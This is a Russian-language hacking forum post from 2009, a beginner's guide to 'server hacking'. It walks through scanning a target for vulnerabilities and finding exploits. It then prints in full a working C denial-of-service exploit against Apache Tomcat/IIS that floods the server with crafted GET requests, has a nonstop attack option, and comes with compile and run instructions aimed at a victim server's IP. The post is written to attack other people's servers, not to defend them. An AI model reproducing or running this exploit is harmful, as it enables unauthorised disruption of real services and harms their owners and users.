Перейти к содержимому

Фотография

Взлом сервера

- - - - -

  • Авторизуйтесь для ответа в теме

#1
BENQs

Отправлено 07 ������� 2009 - 03:02

BENQs

    Новоприбывший

  • Пользователи
  • 19 сообщений
Первый этап.
Вот решил написать коротенькую статейку о том как использовать эксплойты. Так как без эксплойтов что за взлом. Ну приступаем, для начала сканируем интересующий нас сервак на ошибки. Для этого используем мой любимый LANguard Network Security Scanner скачать его можно с http://www.gfisoftware.com/ далее File >> New Scan >> Scan one Computer и вводим ip компьютера который мы хотим взломать потом Finich >> Start Scan и ждем какие ошибки найдет наш сканер. Если ничего не найдено то попытайтесь использовать другой сканер например:

XSpider 6.40 - сайт http://www.xspider.net.ru/
Nessus Security Scanner 1.2.6 - http://www.nessus.org/
Typhon II - http://www.nextgenss...cts/typhon.html

Каждый из этих сканеров имеет свои преимущества и недостатки так что качайте все эти сканеры и проверяйте сервак на наличие ошибок. Ну а если вы нашли ошибку, тогда переходим к этапу номер два.

Второй этап.
Например, мы нашли уязвимость 2000/NT Apache Tomcat 3.x и 4.0.x DoS и что с ней делать скажите вы? А делаем следующее: надо найти эксплойт к этой уязвимости, я предпочитаю искать эксплоиты на русско язычных сайтах, вот некоторые адреса этих сайтов:

http://www.securitylab.ru/
http://www.void.ru/
http://www.qwerty.nanko.ru/
http://www.cyberinfo.ru/

Эксплойт к уязвимости 2000/NT Apache Tomcat 3.x и 4.0.x DoS я нашел на Securitylab. Вот листинг эксплойта:

/* Windows 2000/NT Apache Tomcat 3.x and 4.0.x DoS
*
* bug discovered by Olaf Schulz on 11 October 2002
* essentially does a GET /examples/servlet/AUX HTTP/1.0 ...2000 times.
*
* This is actually somewhat lame. It seemed to be a rather nice DoS
* if it actually killed the server after XX GET's, but that isn't the case.
* That's why I tossed in the '-x' option to keep hammering the box. When
* this program is running, the webserver becomes inaccessible.
* Not the coolest thing in the world, but it gave me something to do on a boring
* ass monday night. ab.gif -bmbr
*
*
* Compile With:
* Linux: gcc -o neuter neuter.c
* Solaris: gcc -o neuter neuter.c -lsocket -lnsl
*

ZZZZZZZZZZZZZZZZZZZ
Z:::::::::::::::::Z
nnnn nnnnnnnn Z:::::::::::::::::Z ooooooooooo
n:::nn::::::::nn Z:::ZZZZZZZ::::::Z oo:::::::::::oo
eeeeeeeeeee n::::::::::::::nn ZZZZZ * Z::::::Z o:::::::::::::::o
ee:::::::::::eenn:::::::::::::::n 2 Z:::::Z o:::::ooooo:::::o
e:::::::::::::::een:::::nnnn:::::n 0 Z:::::Z o::::o o::::o
e::::::eeeee::::::en::::n n::::n 0 Z:::::Z o::::o o::::o
e:::::e e:::::en::::n n::::n 2 Z:::::Z o::::o o::::o
e::::::eeeee::::::en::::n n::::n * Z:::::Z o::::o o::::o
e::::::::::::::::e n::::n n::::n Z:::::Z o:::::ooooo:::::o
e:::::eeeeeeeeeee n::::n n::::nZZZ:::::Z ZZZZZo:::::::::::::::o
e::::::e n::::n n::::nZ::::::ZZZZZZZZ:::Z oo:::::::::::oo
e:::::::e nnnnnn nnnnnnZ:::::::::::::::::Z ooooooooooo
e:::::::eeeeeeeeee Z:::::::::::::::::Z
ee::::::::::::::e ZZZZZZZZZZZZZZZZZZZ
ee:::::::::::::e \... www.enZotech.net .../
eeeeeeeeeeeeee

(The above is radical ascii art.. Respect it. The below is a lame DoS. )

*/

#include <stdio.h>
#include <string.h>
#include <ctype.h>
#include <signal.h>
#include <stdlib.h>
#include <limits.h>
#include <math.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <netdb.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>

void usage(char* argv0);
void forkoff(char *ip, int port);
int neuter(char *ip, int port);

void sigint();
void sighup();
void sigquit();

int main(int argc, char *argv[])
{

extern int optopt;
extern char *optarg;
int errorflag = 0; /* did someone screw up? */
int port = 80; /* default port to use unless -p */
int c;
int kill = 0;
int killhigh = 2000; /* This is how many GETS to request */
int always = 0;

if ((argc < 2) || (argc > 6))
usage(argv[0]);

while ((c=getopt(argc, argv, "vxp:")) != EOF) {
switch© {
case 'p':
fprintf(stderr, "Using port %s\n", optarg);
port = strtol(optarg, NULL, 10);
break;
case 'x':
fprintf(stderr, "Nonstop DoS Attack.. go get a dew..\n");
always = 1;
break;
case 'v':
fprintf(stderr, "Neuter: IIS+Apache Tomcat DoS - [Oct 15, 2002]\n");
fprintf(stderr, "written by: bmbr@enZo\n\n");
exit(0);
case ':':
fprintf(stderr, "Option -%c requires an operand\n", optopt);
errorflag++;
break;
case '?':
fprintf(stderr, "Unrecognized option: -%c\n", optopt);
errorflag++;

}
}

if (errorflag) {
usage(argv[0]);
}

/* kill them */
while (kill <= killhigh) {
forkoff(argv[argc-1], port);
fprintf(stderr, "b00m! ");
if (always != 1)
kill++;
}
fprintf(stderr, "\nFinished!\n");
return 0;
} /* end main */

void usage(char* argv0)
{
fprintf(stderr, "\nNeuter: IIS+Apache Tomcat DoS - [Oct 15, 2002]\n");
fprintf(stderr, "Written by: bmbr@enZo\n\n");
fprintf(stderr, "Usage: %s [-p port] IP\n", argv0);
fprintf(stderr, "optional: -x (don't stop DoS'ing)\n\n");
exit(1);
}

void sigint()
{
signal(SIGINT,sigint);
fprintf(stderr, "CHILD: I have received Sigint!\n");
exit(0);
}

void sigquit()
{
fprintf(stderr, "CHILD: My parent has killed me!\n");
exit(0);
}

void sighup()
{
signal(SIGHUP,sighup);
fprintf(stderr, "CHILD: I have received SIGHUP\n");
}

void forkoff(char *ip, int port)
{
int pid;
pid = fork();

if (pid < 0) {
fprintf(stderr, "Fork Error.\n");
exit(0);
}
else if (pid > 0)
usleep(1000); /* microseconds (millionth of a sec) */
else if (pid == 0) {
signal(SIGHUP,sighup);
signal(SIGINT,sigint);
signal(SIGQUIT,sigquit);
alarm(25);
neuter(ip, port);
alarm(0);
exit(0);
}
}

int neuter(char *ip, int port)
{
int s, r, c;
char *string = "GET /examples/servlet/AUX HTTP/1.0\r\n";
char *stringend = "\r\n\r\n";

struct sockaddr_in addr;
struct hostent *hp;
memset((char *) &addr, '\0', sizeof(addr));
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = inet_addr(ip);
addr.sin_port= htons(port);

if ((hp = gethostbyname(ip)) != NULL) {
/* need to check the size of h_length to avoid overflow */
if (hp->h_length > sizeof(addr.sin_addr)) {
hp->h_length = sizeof(addr.sin_addr); }

memcpy((char *) &addr.sin_addr, hp->h_addr, hp->h_length);
}
else {
if ((addr.sin_addr.s_addr = inet_addr(ip)) < 0) {
return(0);
}
}

s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
r = connect(s, (struct sockaddr *) &addr, sizeof(addr));

write(s, string, strlen(string));
write(s, stringend, strlen(stringend));
c = 0;

close(s);
return 0;
}
Для Unix систем.

Как вы видити он написан на языке Си нам надо его откомпилировать под Unix, если у вас стоит Unix то это не проблема копируем эксплойт в файл с расширением *.c . Дадим этому файлу имя vzlom . Так что теперь у нас есть файл vzlom.c. Открываем командную страку и пишем там cd /каталог в котором находится файл vzlom.c
ls - вывод списка файлов текущего каталога (проверяем туда ли мы попали)

далее

gcc -o vzlom.c (компилируем эксплойт)

и у вас уже имеется в этой папке файл vzlom.exe. Как его использовать я расскажу чуть позже.

Для windows.

А вот с windows немного сложней, но ничего мы с этим справимся. Я расскажу вам о более приемлемом способе, который использую я.

Есть такая программа как Cygwin (http://www.cygwin.com/) . Это - качественный порт под Win32 многих Unix'овых утилит. При этом достигается великолепная совместимость. То есть скрипты, написанные и отлаженные под Windows, с большой вероятностью будут работать под Unix что нам и нужно. Альтернативы Cygwin'у на данный момент практически нет, единственным соперником мог бы быть MKS Toolkit, но он продается за деньги, а нас такой вариант не устраивает. Идем качать и устанавливать Cygwin. Эта программа работае под Windows 95/98/ME/NT/2000/XP.

Как устанавливать:
Качаем http://www.cygwin.com/setup.exe далее запускаем setup.exe выбираем 1. Install from Internet;
2. root-директорию: c:\cygwin;
3. выбираем зеркало с которого будет качаться дистрибутив, самое первое с него все без проблем устанавливается
4. Ждем пока появится выбор компонентов для установки.
5. Далее Оставляем все Default и добавляем пакеты которые нам нужны для компиляции эксплойтов, а это

Devel - binutils, gcc, make, mingw-runtime
Libs - libiconv2, libintl1-2, libncurses5-6, libpopt0, mingw-runtime, ncurses, tempcap,
w32api
Utils - cygutils
6. Далее нажимаем next и качаем ( примерный объем скачиваемых пакетов это 40-50 мегабайт) - это очень много не один час скачивать будите.
7. Cтавите галочку на Create icon on Desctop.
8. Перезагружаете компьютер.
Применение:
Запускаем Cygwin и что мы видим:

имя компьютера@пароль

Пишите $pwd - где вы находитесь(каталог). Обычно это /home/имя компьютера/ Копируем файл vzlom.c который мы сделали на первом этапе в паку

C:\cygwin\home\123

Далее вводим в Cygwin

gcc vzlom.c

В папке C:\cygwin\home\123 создается файл a.exe для того чтобы запустить его пишем

>./a.exe

И на экране появится что-то вроде

Neuter: IIS+Apache Tomcat DoS - [Oct 15, 2002]
Written by: bmbr@enZo

Usage: ./a [-p port] IP
optional: -x (don't stop DoS'ing)

Третий этап (использование экслойта.)

А что об этом говорить и так все ясно пишем

./a [80] ***.***.****.**** (***.***.***.*** - ip взламываемого сервака).